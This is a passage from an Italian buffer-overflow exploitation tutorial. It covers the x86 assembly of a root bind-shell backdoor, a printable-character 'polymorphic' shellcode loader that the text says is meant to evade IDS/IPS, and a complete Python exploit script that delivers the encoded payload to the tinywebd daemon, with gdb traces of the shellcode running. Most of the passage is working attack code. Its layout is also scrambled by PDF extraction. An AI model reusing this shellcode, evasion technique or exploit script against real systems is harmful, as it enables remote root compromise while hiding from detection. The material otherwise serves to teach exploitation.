// bind call // SYS_socketcall // INTERRUPT
xorl %ebx, %ebx cmpl %eax, %ebx je L_SKIPEXIT
// if bind success continue, else exit
L_EXIT: // exit(0) Copyright Š Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 112 di 193
System exploitation using buffer overflow
xorl %eax, %eax inc %al int $0x80
// exit call // INTERRUPT
L_SKIPEXIT: // listen(sd, 1) xorl %ecx, %ecx xorl %ebx, %ebx inc %cl pushl %ecx
// queue max value
pushl %edx
// socket
movl %esp, %ecx
// pointer to arguments
movb $4, %bl movb $102, %al int $0x80
// listen call // SYS_socketcall // INTERRUPT
// signal(SIGCHLD,1) xorl %ecx, %ecx xorl %eax, %eax xorl %ebx, %ebx movb $1, %cl movb $17, %bl movb $48, %al int $0x80
// // // //
handler SIGCHLD signal call INTERRUPT
// setuid(0); xorl %eax, %eax xorl %ebx, %ebx movb $23, %al int $0x80
// root uid // setuid call // INTERRUPT
L_WHILE: // csock = accept(sock,(struct sockaddr*)&srv, &socksize) // accept(sock,0,0) xorl %eax, %eax xorl %ebx, %ebx pushl %eax pushl %eax pushl %edx
// socketsize pointer, 0 // struct sockaddr pointer, 0 // socket
movl %esp, %ecx
// arguments pointer
movb $5, %bl movb $102, %al int $0x80
// accept call // SYS_socketcall // INTERRUPT
movl %eax, %esi
// new socket
// fork() Copyright Š Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 113 di 193
System exploitation using buffer overflow
xorl %eax, %eax xorl %ebx, %ebx movb $2, %al int $0x80 cmpl %eax, %ebx jne L_CLOSENEWSOCK
// fork call // INTERRUPT // father continue and close new socket
// close(sock) xorl %eax, %eax movl %edx, %ebx movb $6, %al int $0x80
// socket // close call // INTERRUPT
// Close all communication channels --> Unix deamon // dup2(csock,0) xorl %ecx, %ecx xorl %ebx, %ebx xorl %eax, %eax movb %cl, %cl movl %esi, %ebx movb $63, %al int $0x80
// // // //
stdin new socket dup2 call INTERRUPT
xorl %eax, %eax incl %ecx movb $63, %al int $0x80
// stdin // dup2 call // INTERRUPT
xorl %eax, %eax incl %ecx movb $63, %al int $0x80
// stderr // dup2 call // INTERRUPT
// And then we are coming!! ) // execve(/bin/sh,[/bin/sh],NULL) xorl %eax, %eax pushl %eax pushl $0x68732f2f pushl $0x6e69622f movl %esp, %ebx movl 8(%esp), %edx pushl %eax pushl %ebx movl %esp, %ecx movb $11, %al int $0x80 // exit(0) xorl %ebx, %ebx xorl %eax, %eax incl %eax int $0x80
// NULL
// [/bin/sh] // // // //
/bin/sh arguments pointer SYS_execve INTERRUPT
// exit value 0 // exit call // INTERRUPT
L_CLOSENEWSOCK: Copyright Š Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 114 di 193
System exploitation using buffer overflow
xorl %eax, %eax movl %esi, %ebx movb $6, %al int $0x80
// new socket // close call // INTERRUPT
jmp L_WHILE ---------- backdoor.S END ---------------Se noi trasmettiamo in chiaro i codici esadecimali di questa backdoor verremo subito intercettati da un sistema IDS. Il trucco sta nello spedire il codice non nella sua vera forma. Seguitemi in questo ragionamento; Per evitare che l'IDS ci ritenga codice sospetto sarà sufficiente inviare solo caratteri stampabili, questi infatti non possono essere scambiati per codice dannoso perchè sono quelli di norma presenti nelle pagine web. Questi byte vanno da 0x20 a 0x7f e basta. Non possiamo usare byte diversi. Di conseguenza le istruzioni che possiamo utilizzare non sono sufficienti per eseguire il codice. Alcune di quelle utilizzabili sono "and reg, value", "push reg", "pop reg", "sub reg, value", "inc reg", "dec reg" perchè si traducono appunto in byte stampabili. L'idea stà nel comporre un codice loader che creerà ed eseguirà la shellcode composto solo da queste istruzioni. Questo è possibile farlo. Pensiamo alla sequenza di byte della shellcode e di come sarebbe posizionato in memoria il codice al momento dell'esecuzione dell'istruzione ret. Questi sono i codici 31 db 31 c0 b0 02 cd 66 cd 80 89 c1 31 db 66 cd 80 31 db 39 c3 c9 31 c0 31 db b1 01 b0 66 cd 80 89 c6 31 88 c9 89 f3 b0 3f cd 62 69 6e 89 e3 8b 54 eb 93 _________ EIP | | low | loader | | | | | | | | | |_________| ESP
esadecimali 80 39 c3 75 53 53 53 66 74 06 31 c0 b3 11 b0 30 c0 31 db b0 80 31 c0 41 24 08 50 53
della 3d 31 68 aa fe c0 cd 80 02 cd b0 3f 89 e1
shellcode backdoor.S: c9 b1 06 51 31 c9 b1 01 aa b3 02 66 53 89 e2 b3 cd 80 31 c9 31 db fe c1 31 c0 31 db b0 17 cd 80 80 39 c3 75 46 31 c0 89 cd 80 31 c0 41 b0 3f cd b0 0b cd 80 31 db 31 c0
51 10 51 31 d3 80 40
31 53 52 c0 b0 31 cd
c9 52 89 31 06 c0 80
b1 51 e1 db cd 50 31
02 89 b3 50 80 68 c0
51 ca 04 50 31 2f 89
89 89 b0 52 c9 2f f3
e1 e1 66 89 31 73 b0
b3 b3 cd e1 db 68 06
01 02 80 b3 31 68 cd
b0 b0 31 05 c0 2f 80
addresses
high addresses
Potremmo benissimo avere una situazione del genere. Anzi se andate and indagare nel programma tinywebd, vi troverete proprio in questa situazione. Il loader allora eseguirà le seguenti operazioni: - Si preoccuperà di spostare ESP ad indirizzi più alti in memoria per far posto allo shellcode che andrà a formarsi. - Con le istruzioni sub calcola i byte dello shellcode partendo dal fondo e posizionerà queste nello stack con l'istruzione push. - Così facendo ESP verrà decrementato ad ogni nuova WORD impilata sullo stack, alla fine succederà che EIP ed ESP si incontreranno e la shellcode appena creata potrà essere eseguita, una certa tolleranza di errore può sempre essere gestita attraverso sequenza NOP impilate anche esse. Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 115 di 193
System exploitation using buffer overflow
_________ | | | loader | | | | | | | EIP | | ESP |_________| | | | NOP | |_________| | | | | | CODE | | | |_________|
| | | V low addresses high addresses ^ | | | | | |
Attraverso l'istruzione sub è possibile calcolare quasi qualsiasi valore WORD. Ad esempio se EAX contiene 0, sfruttando l'overflow possiamo calcolare il valore 0x93eb80cd in questo modo: sub $0x7a593459, %eax sub $0x7a592565, %eax sub $0x77622575, %eax Il valore calcolato corrisponde alle ultime istruzioni dello shellcode, procedendo così è possibile costruire lo shellcode a runtime. Questa tecnica è geniale e molto efficace. La seguente è la shellcode detta "polimorfica": --------- polymorfic_shellcode.S ----------// Polymorfic version; It's able to evade IDS/IPS systems - Matteo Tosato 2010 /* I take a good offset from the loader... * Backdoor code is 226 bytes, In the vulnerability, EIP is at -1048 bytes from ESP when exploit * is executed: */ // Begin loader code: .text .globl main main: push %esp // Push ESP on stack pop %eax // Now ESP is in EAX register // Move ESP back on the stack // -> Add 207 bytes <- with printable character // EAX, 0xbffff3b0 -> 0xbffffa0c: sub $0x4a4a4a4a, %eax sub $0x4a4a4a73, %eax sub $0x6b6b6a74, %eax // Now, EAX store: ESP + 207 // Restore ESP to new value, now ESP - EIP = 1255 [974 loader + nop + shellcode + ret] Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 116 di 193
System exploitation using buffer overflow
push %eax pop %esp // Place EAX to 0 and $0x454e4f4a, %eax and $0x3a313035, %eax // Now, build the real chellcode via printable value! // cd 80 eb 93 -> 0x93eb80cd sub $0x7a593459, %eax sub $0x7a592565, %eax sub $0x77622575, %eax push %eax // 89 f3 b0 06 -> 0x06b0f389 sub $0x31553155, %eax sub $0x256d2575, %eax sub $0x3678367a, %eax push %eax and $0x454e4f4a, %eax and $0x3a313035, %eax // cd 80 31 c0 -> 0xc03180cd sub $0x7a6b347a, %eax sub $0x7a30256b, %eax sub $0x4b33254e, %eax push %eax and $0x454e4f4a, %eax and $0x3a313035, %eax // db 31 c0 40 -> 0x40c031db sub $0x4c4c4c4c, %eax sub $0x2d7a4c64, %eax sub $0x45793575, %eax push %eax // 0b cd 80 31 -> 0x3180cd0b sub $0x6c6c726c, %eax sub $0x6c6c782d, %eax sub $0x36667a37, %eax push %eax // 53 89 e1 b0 -> 0xb0e18953 sub $0x36456763, %eax sub $0x25346730, %eax sub $0x25257525, %eax push %eax // 54 24 08 50 -> 0x50082454 sub $0x74747474, %eax sub $0x74347635, %eax sub $0x78307a56, %eax push %eax // 6e 89 e3 8b -> 0x8be3896e sub $0x48764876, %eax sub $0x4876254b, %eax sub $0x33382d25, %eax Copyright Š Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 117 di 193
System exploitation using buffer overflow
push %eax // 68 2f 62 69 -> 0x69622f68 sub $0x49367449, %eax sub $0x5f257449, %eax sub $0x7a257174, %eax push %eax // 2f 2f 73 68 -> 0x68732f2f sub $0x56565656, %eax sub $0x5656566e, %eax sub $0x54425375, %eax push %eax // 31 c0 50 68 -> 0x6850c031 sub $0x68687a68, %eax sub $0x63687a63, %eax sub $0x34517a33, %eax push %eax // b0 3f cd 80 -> 0x80cd3fb0 sub $0x784e4e4e, %eax sub $0x6f353233, %eax push %eax // 80 31 c0 41 -> 0x41c03180 sub $0x58585858, %eax sub $0x6e50506e, %eax sub $0x7864656a, %eax push %eax and $0x454e4f4a, %eax and $0x3a313035, %eax // 41 b0 3f cd -> 0xcd3fb041 sub $0x55556155, %eax sub $0x78357835, %eax sub $0x65357635, %eax push %eax and $0x454e4f4a, %eax and $0x3a313035, %eax // cd 80 31 c0 -> 0xc03180cd sub $0x5a413441, %eax sub $0x7041257a, %eax sub $0x754c2578, %eax push %eax // 89 f3 b0 3f -> 0x3fb0f389 sub $0x25252574, %eax sub $0x2525256a, %eax sub $0x36364266, %eax push %eax and $0x454e4f4a, %eax // 31 c0 88 c9 -> 0xc988c031 sub $0x67252567, %eax sub $0x6725254b, %eax sub $0x6d2d3825, %eax push %eax // 31 c9 31 db -> 0xdb31c931 Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 118 di 193
System exploitation using buffer overflow
sub $0x5f775f5f, %eax sub $0x48775f5f, %eax sub $0x46683842, %eax push %eax // b0 06 cd 80 -> 0x80cd06b0 sub $0x2d30714e, %eax sub $0x2d345133, %eax push %eax // 31 c0 89 d3 -> 0xd389c031 sub $0x42626235, %eax sub $0x316e6e25, %eax sub $0x39727625, %eax push %eax // 39 c3 75 46 -> 0x4675c339 sub $0x42747474, %eax sub $0x256b4242, %eax sub $0x25344642, %eax push %eax // b0 02 cd 80 -> 0x80cd02b0 sub $0x62396b39, %eax sub $0x636f5550, %eax push %eax // 31 c0 31 db -> 0xdb31c031 sub $0x2d2d662d, %eax sub $0x2d38662d, %eax sub $0x4b357625, %eax push %eax // cd 80 89 c6 -> 0xc68980cd sub $0x25255974, %eax sub $0x752d7477, %eax sub $0x7a557179, %eax push %eax // b3 05 b0 66 -> 0x66b005b3 sub $0x78553055, %eax sub $0x78422555, %eax sub $0x6f422570, %eax push %eax // 50 52 89 e1 -> 0xe1895250 sub $0x25555578, %eax sub $0x2d782578, %eax sub $0x32593873, %eax push %eax // c0 31 db 50 -> 0x50db31c0 sub $0x36446a36, %eax sub $0x35446a35, %eax sub $0x25254c25, %eax push %eax // 17 cd 80 31 -> 0x3180cd17 sub $0x50757550, %eax sub $0x75757534, %eax sub $0x596f7a25, %eax push %eax // c0 31 db b0 -> 0xb0db31c0 sub $0x33333332, %eax sub $0x4d726825, %eax push %eax // 30 cd 80 31 -> 0x3180cd30 Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 119 di 193
System exploitation using buffer overflow
sub $0x342d345f, %eax sub $0x4b2d3031, %eax push %eax // 01 b3 11 b0 -> 0xb011b301 sub $0x367a4e4e, %eax sub $0x257a6c6c, %eax sub $0x257a5f75, %eax push %eax // c0 31 db b1 -> 0xb1db31c0 sub $0x32543654, %eax sub $0x546f2575, %eax sub $0x77732578, %eax push %eax // 80 31 c9 31 -> 0x31c93180 sub $0x35535353, %eax sub $0x25535379, %eax sub $0x256b5974, %eax push %eax // 04 b0 66 cd -> 0xcd66b004 sub $0x31354a4a, %eax sub $0x332d3732, %eax push %eax // 52 89 e1 b3 -> 0xb3e18952 sub $0x39323939, %eax sub $0x6e257a38, %eax sub $0x722d7341, %eax push %eax // db fe c1 51 -> 0x51c1fedb sub $0x6d33332d, %eax sub $0x7a792525, %eax sub $0x7a733225, %eax push %eax // 80 31 c9 31 -> 0x31c93180 sub $0x4a4a4a76, %eax sub $0x5f4a4a76, %eax sub $0x7664386f, %eax push %eax // c0 fe c0 cd -> 0xcdc0fec0 sub $0x71666666, %eax sub $0x79506635, %eax sub $0x79516625, %eax push %eax // c3 74 06 31 -> 0x310674c3 sub $0x32323232, %eax sub $0x32323269, %eax sub $0x38562562, %eax push %eax // 80 31 db 39 -> 0x39db3180 sub $0x4e4e4e59, %eax sub $0x4e6f7a76, %eax sub $0x5a6d7a74, %eax push %eax // 02 b0 66 cd -> 0xcd66b002 sub $0x47473547, %eax sub $0x252d4c37, %eax push %eax // ca 89 e1 b3 -> 0xb3e189ca Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 120 di 193
System exploitation using buffer overflow
sub $0x5a325a5a, %eax sub $0x5a2d5a6c, %eax sub $0x65257172, %eax push %eax // 53 52 51 89 -> 0x89515253 sub $0x4c374c25, %eax sub $0x64257625, %eax sub $0x7a33752d, %eax push %eax // 89 e2 b3 10 -> 0x10b3e289 sub $0x366d365a, %eax sub $0x42303970, %eax push %eax // b3 02 66 53 -> 0x536602b3 sub $0x30733030, %eax sub $0x46734630, %eax sub $0x46676976, %eax push %eax // 66 68 aa aa -> 0xaaaa6866 sub $0x42424279, %eax sub $0x30423262, %eax sub $0x36372572, %eax push %eax // db 53 53 53 -> 0x535353db sub $0x7a7a5f25, %eax sub $0x7a7a5f25, %eax sub $0x62625641, %eax push %eax // 80 89 c1 31 -> 0x31c18980 sub $0x4c354c68, %eax sub $0x68254c79, %eax sub $0x6d37317a, %eax push %eax // 01 b0 66 cd -> 0xcd66b001 sub $0x2d2d7852, %eax sub $0x372d612d, %eax push %eax // 51 89 e1 b3 -> 0xb3e18951 sub $0x64256457, %eax sub $0x642d6125, %eax sub $0x51326134, %eax push %eax // 31 c9 b1 02 -> 0x02b1c931 sub $0x31643131, %eax sub $0x3164617a, %eax sub $0x4e672d75, %eax push %eax // c9 b1 01 51 -> 0x5101b1c9 sub $0x49494974, %eax sub $0x3030737a, %eax sub $0x38365a7a, %eax push %eax // b1 06 51 31 -> 0x315106b1 sub $0x31313131, %eax sub $0x78313178, %eax sub $0x764e486f, %eax push %eax Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 121 di 193
System exploitation using buffer overflow
// 75 3d 31 c9 -> 0xc9313d75 sub $0x76717171, %eax sub $0x78763271, %eax sub $0x7938255a, %eax push %eax // cd 80 39 c3 -> 0xc33980cd sub $0x63636356, %eax sub $0x56633425, %eax sub $0x4c31252d, %eax push %eax // 31 c0 b0 02 -> 0x02b0c031 sub $0x52385238, %eax sub $0x6e506e64, %eax push %eax // 31 db -> 0xdb319090 sub $0x68346849, %eax sub $0x68256825, %eax sub $0x57255f33, %eax push %eax // 90 90 90 90 -> 0x90909090 sub $0x5f313131, %eax sub $0x78365f5f, %eax sub $0x73396f70, %eax // Add a nop sled push %eax push %eax push %eax push %eax push %eax push %eax push %eax push %eax push %eax push %eax push %eax push %eax push %eax push %eax push %eax push %eax push %eax push %eax push %eax push %eax push %eax push %eax push %eax // Ok, loader has done... // EIP reached ESP, shellcode will execute. --------- polymorfic_shellcode.S END -------Come solito vengono ricavati i byte ed utilizzati in uno script di attacco. Il numero dei byte è cresciuto parecchio, ma abbiamo tutto lo spazio a disposizione senza problemi. Nello script non possiamo però utilizzare una sequenza di NOP per creare uno sled, perchè metterebbe in allarme Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 122 di 193
System exploitation using buffer overflow
l'IDS. Possiamo però eseguire dell'altro, ad esempio una istruzione come inc o dec su registro avrebbe lo stesso effetto di un NOP sled. Ecco quindi come io costruisco il mio script di exploit con python: --------- exploit.py -----------------------__author__="Matteo Tosato" __date__ ="$8-ott-2010 02.30.22$" import socket import sys if sys.argv[1] == "--help" or sys.argv[1] == "-h": print "Exploit with polymorfic shellcode, (all character are printable)" print "for tinywebd deamon on Ubuntu" print __author__ print __date__ print "Arguments: <HOST> <PORT>" else: RHOST = sys.argv[1] RPORT = int(sys.argv[2]) s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) RET = "\xaa\xef\xff\xbf"
# address: 0xbfffefaa
PADDING = "\x4a" # Pad 16 bytes BUFFER = PADDING * 16 # Shellcode (polymorfic) 974+2 bytes PAYLOAD = "\x54\x58\x2d\x4a\x4a\x4a\x4a\x2d\x73\x4a\x4a\x4a\x2d\x74\x6a\x6b"\ "\x6b\x50\x5c\x25\x4a\x4f\x4e\x45\x25\x35\x30\x31\x3a\x2d\x59\x34"\ "\x59\x7a\x2d\x65\x25\x59\x7a\x2d\x75\x25\x62\x77\x50\x2d\x55\x31"\ "\x55\x31\x2d\x75\x25\x6d\x25\x2d\x7a\x36\x78\x36\x50\x25\x4a\x4f"\ "\x4e\x45\x25\x35\x30\x31\x3a\x2d\x7a\x34\x6b\x7a\x2d\x6b\x25\x30"\ "\x7a\x2d\x4e\x25\x33\x4b\x50\x25\x4a\x4f\x4e\x45\x25\x35\x30\x31"\ "\x3a\x2d\x4c\x4c\x4c\x4c\x2d\x64\x4c\x7a\x2d\x2d\x75\x35\x79\x45"\ "\x50\x2d\x6c\x72\x6c\x6c\x2d\x2d\x78\x6c\x6c\x2d\x37\x7a\x66\x36"\ "\x50\x2d\x63\x67\x45\x36\x2d\x30\x67\x34\x25\x2d\x25\x75\x25\x25"\ "\x50\x2d\x74\x74\x74\x74\x2d\x35\x76\x34\x74\x2d\x56\x7a\x30\x78"\ "\x50\x2d\x76\x48\x76\x48\x2d\x4b\x25\x76\x48\x2d\x25\x2d\x38\x33"\ "\x50\x2d\x49\x74\x36\x49\x2d\x49\x74\x25\x5f\x2d\x74\x71\x25\x7a"\ "\x50\x2d\x56\x56\x56\x56\x2d\x6e\x56\x56\x56\x2d\x75\x53\x42\x54"\ "\x50\x2d\x68\x7a\x68\x68\x2d\x63\x7a\x68\x63\x2d\x33\x7a\x51\x34"\ "\x50\x2d\x4e\x4e\x4e\x78\x2d\x33\x32\x35\x6f\x50\x2d\x58\x58\x58"\ "\x58\x2d\x6e\x50\x50\x6e\x2d\x6a\x65\x64\x78\x50\x25\x4a\x4f\x4e"\ "\x45\x25\x35\x30\x31\x3a\x2d\x55\x61\x55\x55\x2d\x35\x78\x35\x78"\ "\x2d\x35\x76\x35\x65\x50\x25\x4a\x4f\x4e\x45\x25\x35\x30\x31\x3a"\ "\x2d\x41\x34\x41\x5a\x2d\x7a\x25\x41\x70\x2d\x78\x25\x4c\x75\x50"\ "\x2d\x74\x25\x25\x25\x2d\x6a\x25\x25\x25\x2d\x66\x42\x36\x36\x50"\ "\x25\x4a\x4f\x4e\x45\x2d\x67\x25\x25\x67\x2d\x4b\x25\x25\x67\x2d"\ Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 123 di 193
System exploitation using buffer overflow
"\x25\x38\x2d\x6d\x50\x2d\x5f\x5f\x77\x5f\x2d\x5f\x5f\x77\x48\x2d"\ "\x42\x38\x68\x46\x50\x2d\x4e\x71\x30\x2d\x2d\x33\x51\x34\x2d\x50"\ "\x2d\x35\x62\x62\x42\x2d\x25\x6e\x6e\x31\x2d\x25\x76\x72\x39\x50"\ "\x2d\x74\x74\x74\x42\x2d\x42\x42\x6b\x25\x2d\x42\x46\x34\x25\x50"\ "\x2d\x39\x6b\x39\x62\x2d\x50\x55\x6f\x63\x50\x2d\x2d\x66\x2d\x2d"\ "\x2d\x2d\x66\x38\x2d\x2d\x25\x76\x35\x4b\x50\x2d\x74\x59\x25\x25"\ "\x2d\x77\x74\x2d\x75\x2d\x79\x71\x55\x7a\x50\x2d\x55\x30\x55\x78"\ "\x2d\x55\x25\x42\x78\x2d\x70\x25\x42\x6f\x50\x2d\x78\x55\x55\x25"\ "\x2d\x78\x25\x78\x2d\x2d\x73\x38\x59\x32\x50\x2d\x36\x6a\x44\x36"\ "\x2d\x35\x6a\x44\x35\x2d\x25\x4c\x25\x25\x50\x2d\x50\x75\x75\x50"\ "\x2d\x34\x75\x75\x75\x2d\x25\x7a\x6f\x59\x50\x2d\x32\x33\x33\x33"\ "\x2d\x25\x68\x72\x4d\x50\x2d\x5f\x34\x2d\x34\x2d\x31\x30\x2d\x4b"\ "\x50\x2d\x4e\x4e\x7a\x36\x2d\x6c\x6c\x7a\x25\x2d\x75\x5f\x7a\x25"\ "\x50\x2d\x54\x36\x54\x32\x2d\x75\x25\x6f\x54\x2d\x78\x25\x73\x77"\ "\x50\x2d\x53\x53\x53\x35\x2d\x79\x53\x53\x25\x2d\x74\x59\x6b\x25"\ "\x50\x2d\x4a\x4a\x35\x31\x2d\x32\x37\x2d\x33\x50\x2d\x39\x39\x32"\ "\x39\x2d\x38\x7a\x25\x6e\x2d\x41\x73\x2d\x72\x50\x2d\x2d\x33\x33"\ "\x6d\x2d\x25\x25\x79\x7a\x2d\x25\x32\x73\x7a\x50\x2d\x76\x4a\x4a"\ "\x4a\x2d\x76\x4a\x4a\x5f\x2d\x6f\x38\x64\x76\x50\x2d\x66\x66\x66"\ "\x71\x2d\x35\x66\x50\x79\x2d\x25\x66\x51\x79\x50\x2d\x32\x32\x32"\ "\x32\x2d\x69\x32\x32\x32\x2d\x62\x25\x56\x38\x50\x2d\x59\x4e\x4e"\ "\x4e\x2d\x76\x7a\x6f\x4e\x2d\x74\x7a\x6d\x5a\x50\x2d\x47\x35\x47"\ "\x47\x2d\x37\x4c\x2d\x25\x50\x2d\x5a\x5a\x32\x5a\x2d\x6c\x5a\x2d"\ "\x5a\x2d\x72\x71\x25\x65\x50\x2d\x25\x4c\x37\x4c\x2d\x25\x76\x25"\ "\x64\x2d\x2d\x75\x33\x7a\x50\x2d\x5a\x36\x6d\x36\x2d\x70\x39\x30"\ "\x42\x50\x2d\x30\x30\x73\x30\x2d\x30\x46\x73\x46\x2d\x76\x69\x67"\ "\x46\x50\x2d\x79\x42\x42\x42\x2d\x62\x32\x42\x30\x2d\x72\x25\x37"\ "\x36\x50\x2d\x25\x5f\x7a\x7a\x2d\x25\x5f\x7a\x7a\x2d\x41\x56\x62"\ "\x62\x50\x2d\x68\x4c\x35\x4c\x2d\x79\x4c\x25\x68\x2d\x7a\x31\x37"\ "\x6d\x50\x2d\x52\x78\x2d\x2d\x2d\x2d\x61\x2d\x37\x50\x2d\x57\x64"\ "\x25\x64\x2d\x25\x61\x2d\x64\x2d\x34\x61\x32\x51\x50\x2d\x31\x31"\ "\x64\x31\x2d\x7a\x61\x64\x31\x2d\x75\x2d\x67\x4e\x50\x2d\x74\x49"\ "\x49\x49\x2d\x7a\x73\x30\x30\x2d\x7a\x5a\x36\x38\x50\x2d\x31\x31"\ "\x31\x31\x2d\x78\x31\x31\x78\x2d\x6f\x48\x4e\x76\x50\x2d\x71\x71"\ "\x71\x76\x2d\x71\x32\x76\x78\x2d\x5a\x25\x38\x79\x50\x2d\x56\x63"\ "\x63\x63\x2d\x25\x34\x63\x56\x2d\x2d\x25\x31\x4c\x50\x2d\x38\x52"\ "\x38\x52\x2d\x64\x6e\x50\x6e\x50\x2d\x49\x68\x34\x68\x2d\x25\x68"\ "\x25\x68\x2d\x33\x5f\x25\x57\x50\x2d\x31\x31\x31\x5f\x2d\x5f\x5f"\ "\x36\x78\x2d\x70\x6f\x39\x73\x50\x50\x50\x50\x50\x50\x50\x50\x50"\ "\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50"\ "\x4a\x4a" BUFFER = BUFFER + PAYLOAD # RET 100 bytes BUFFER = BUFFER + RET*(100/4) # BUFFER TOTAL SIZE: 1092 bytes print print print print print print
"Exploit with polymorfic shellcode, (all character are printable)" "for tinywebd deamon on Ubuntu" __author__ __date__ "Payload: (974 bytes)" PAYLOAD
Copyright Š Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 124 di 193
System exploitation using buffer overflow
s.connect((RHOST, RPORT)) s.send(BUFFER) print "Done!" --------- exploit.py END --------------------Eseguiamo tinywebd e ci agganciamo con gdb, poi eseguiamo lo script e torniamo a vedere che succede al server web. Esecuzione di exploit.py: Exploit with polymorfic shellcode, (all character are printable) for tinywebd deamon on Ubuntu Matteo Tosato $8-ott-2010 02.30.22$ Payload: (974 bytes) TX-JJJJ-sJJJ-tjkkP\%JONE%501:-Y4Yz-e%Yz-u%bwP-U1U1-u%m%-z6x6P%JONE%501:-z4kz-k%0zN%3KP%JONE%501:-LLLL-dLz--u5yEP-lrll--xll-7zf6P-cgE6-0g4%-%u%%P-tttt-5v4t-Vz0xP-vHvH-K%vH-%-83PIt6I-It%_-tq%zP-VVVV-nVVV-uSBTP-hzhh-czhc-3zQ4P-NNNx-325oP-XXXX-nPPn-jedxP%JONE%501:-UaUU-5x5x5v5eP%JONE%501:-A4AZ-z%Ap-x%LuP-t%%%-j%%%-fB66P%JONE-g%%g-K%%g-%8-mP-__w_-__wH-B8hFP-Nq0--3Q4-P5bbB-%nn1-%vr9P-tttB-BBk%-BF4%P-9k9b-PUocP--f----f8--%v5KP-tY%%-wt-u-yqUzP-U0Ux-U%Bx-p%BoP-xUU%x%x--s8Y2P-6jD6-5jD5-%L%%P-PuuP-4uuu-%zoYP-2333-%hrMP-_4-4-10-KP-NNz6-llz%-u_z%P-T6T2-u%oTx%swP-SSS5-ySS%-tYk%P-JJ51-27-3P-9929-8z%n-As-rP--33m-%%yz-%2szP-vJJJ-vJJ_-o8dvP-fffq-5fPy%fQyP-2222-i222-b%V8P-YNNN-vzoN-tzmZP-G5GG-7L-%P-ZZ2Z-lZ-Z-rq%eP-%L7L-%v%d--u3zP-Z6m6-p90BP00s0-0FsF-vigFP-yBBB-b2B0-r%76P-%_zz-%_zz-AVbbP-hL5L-yL%h-z17mP-Rx----a-7P-Wd%d-%a-d-4a2QP-11d1zad1-u-gNP-tIII-zs00-zZ68P-1111-x11x-oHNvP-qqqv-q2vx-Z%8yP-Vccc-%4cV--%1LP-8R8R-dnPnP-Ih4h-%h%h3_%WP-111_-__6x-po9sPPPPPPPPPPPPPPPPPPPPPPPJJ Done! Vedete come la stringa risulta completamente stampabile?! Qui sono fermo all'istruzione ret di handle_connection(): (gdb) stepi 0x080493ea in handle_connection (sockfd=0, client_addr_ptr=0x4a4a4a4a, logfd=1246382666) at tinywebd.c:136 136 } (gdb) x/16i $eip => 0x80493ea <handle_connection+861>: ret 0x80493eb <get_file_size>: push %ebp [...] proseguendo arriviamo nello sled dato che l'indirizzo di ritorno lo abbiamo sovrascritto con un indirizzo che si trova presumibilmente poco dopo l'inizio del buffer request: [...] (gdb) stepi 0xbfffefaa in ?? () (gdb) x/25i $eip => 0xbfffefaa: dec 0xbfffefab: dec 0xbfffefac: dec 0xbfffefad: dec 0xbfffefae: dec 0xbfffefaf: dec 0xbfffefb0: dec
%edx %edx %edx %edx %edx %edx %edx
Copyright Š Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 125 di 193
System exploitation using buffer overflow
0xbfffefb1: 0xbfffefb2: 0xbfffefb3: 0xbfffefb4: 0xbfffefb5: 0xbfffefb6: 0xbfffefbb: 0xbfffefc0: [...]
dec dec dec push pop sub sub sub
%edx %edx %edx %esp %eax $0x4a4a4a4a,%eax $0x4a4a4a73,%eax $0x6b6b6a74,%eax
come vedete lo sled è formato da istruzioni di decremento sul registro edx, poi il loader creerà la shellcode, proseguiamo fino al suo termine: [...] (gdb) x/25i $eip => 0xbffff361: sub 0xbffff366: sub 0xbffff36b: push 0xbffff36c: push 0xbffff36d: push 0xbffff36e: push [...]
$0x78365f5f,%eax $0x73396f70,%eax %eax %eax %eax %eax
Viene creato il NOP sled e poi ci si va dentro... creare un buon NOP sled è sempre buona pratica, perchè anche se ci si trova nello stesso tipo di sistema usato per il test non è detto tutto sia uguale... [...] (gdb) x/25i $eip => 0xbffff379: nop 0xbffff37a: nop 0xbffff37b: nop 0xbffff37c: nop 0xbffff37d: nop 0xbffff37e: nop 0xbffff37f: nop [...] ed infine ci siamo: [...] (gdb) x/25i $eip => 0xbffff3a4: nop 0xbffff3a5: nop 0xbffff3a6: nop 0xbffff3a7: nop 0xbffff3a8: nop 0xbffff3a9: nop 0xbffff3aa: nop 0xbffff3ab: nop 0xbffff3ac: nop 0xbffff3ad: xor 0xbffff3af: xor 0xbffff3b1: mov 0xbffff3b3: int 0xbffff3b5: cmp 0xbffff3b7: jne
%ebx,%ebx %eax,%eax $0x2,%al $0x80 %eax,%ebx 0xbffff3f6
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 126 di 193
System exploitation using buffer overflow
